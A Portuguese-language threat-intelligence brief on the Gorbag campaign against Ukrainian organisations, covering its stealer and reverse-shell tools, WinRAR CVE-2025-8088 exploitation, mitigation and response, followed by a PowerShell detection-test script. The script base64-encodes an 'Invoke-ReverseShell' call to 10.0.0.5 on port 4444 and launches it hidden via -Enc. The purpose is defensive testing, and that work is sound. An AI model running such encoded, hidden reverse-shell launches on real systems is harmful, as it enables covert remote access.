Campanha de Malware Gorbag Coleta Inteligência da Ucrânia

Resumo

Gorbag é um agente de ameaça alinhado com a Rússia que visa organizações ucranianas para coletar informações sensíveis. O grupo usa um kit de ferramentas especializado que inclui o infostealer BeautyStealer e o Prime ReverseShell para colher credenciais de navegador, configurações de VPN e documentos. Suas operações enfatizam a coleta rápida de inteligência em detrimento da persistência a longo prazo, sugerindo um possível papel como um corretor de acesso inicial.

Investigação

Pesquisadores da ESET têm monitorado a atividade do Gorbag desde fevereiro de 2025 e observaram uma mudança em 2026 em direção à exploração de uma vulnerabilidade de travessia de caminho do WinRAR. A investigação identificou múltiplas variantes do BeautyStealer e analisou a exfiltração através do Telegram e de infraestrutura C2 personalizada. Pesquisadores também descobriram um shell reverso em PowerShell modificado para enganar ferramentas de segurança baseadas em IA.

Mitigação

As organizações devem atualizar o WinRAR para resolver o CVE-2025-8088 e reforçar o filtro de e-mail para bloquear tentativas de spearphishing. Restringir a execução de macros através da Política de Grupo pode ajudar a prevenir o estágio inicial de infecção. As equipes de segurança também devem monitorar atividades incomuns do PowerShell e a exfiltração não autorizada de dados para serviços como o Telegram.

Resposta

Quando uma atividade maliciosa é detectada, isole os hosts comprometidos para impedir uma maior exfiltração de dados e roubo de credenciais. Conduza uma análise forense do %ProgramData% diretório e pasta de Inicialização do Windows em busca de arquivos LNK suspeitos ou cargas úteis. Redefina todas as credenciais potencialmente expostas, incluindo senhas armazenadas no navegador e configurações de VPN, em todo o ambiente afetado.

Execução de Simulação

• Narrativa do Ataque & Comandos: Um adversário obteve acesso inicial via anexo de spearphishing. Para estabelecer persistência e um canal de comando-e-controle (C2), eles tentam implantar o “Prime ReverseShell”. Eles utilizam PowerShell com a -Enc (flag EncodedCommand) para esconder a estrutura da carga útil de uma inspeção básica e incluem a string Invoke-ReverseShell dentro da lógica decodificada para manter a compatibilidade com assinaturas existentes do kit de ferramentas. Simultaneamente, eles simulam a atividade “BeautyStealer” chamando um script contendo aquele identificador específico para exfiltrar dados do navegador.

• Script de Teste de Regressão:

  # Script de Simulação: Padrão de APT Gorbag
  # Este script executa dois comandos separados para acionar as strings de detecção específicas.
  
  Write-Host "[+] Iniciando Simulação: Acionando Lógica do Prime ReverseShell/BeautyStealer..." -ForegroundColor Cyan
  
  # 1. Acionar via -Enc e Invoke-ReverseShell (Simulando Prime ReverseShell)
  # Usamos um comando codificado em Base64 que, quando decodificado, contém 'Invoke-ReverseShell'
  $Command = 'Write-Host "Connecting..."; Invoke-ReverseShell -IP 10.0.0.5 -Port 4444'
  $Bytes = [System.Text.Encoding]::Unicode.GetBytes($Command)
  $EncodedCommand = [Convert]::ToBase64String($Bytes)
  
  Write-Host "[+] Executando Comando Codificado..." -ForegroundColor Yellow
  Start-Process powershell.exe -ArgumentList "-Enc $EncodedCommand" -WindowStyle Hidden
  
  # 2. Acionar via palavra-chave 'BeautyStealer' (Simulando atividade BeautyStealer)
  Write-Host "[+] Executando Acionador de Palavra-chave BeautyStealer..." -ForegroundColor Yellow
  Start-Process powershell.exe -ArgumentList "-Command `"Write-Output 'Running BeautyStealer module...'`"" -WindowStyle Hidden
  
  Write-Host "[+] Comandos de simulação despachados." -ForegroundColor Green

• Comandos de Limpeza:

  # Limpeza: Nenhum arquivo persistente foi criado, mas asseguramos que não restem processos abandonados.
  Get-Process powershell | Where-Object { $_.CommandLine -like "*Invoke-ReverseShell*" -or $_.CommandLine -like "*BeautyStealer*" } | Stop-Process -Force
  Write-Host "[+] Limpeza concluída." -ForegroundColor Cyan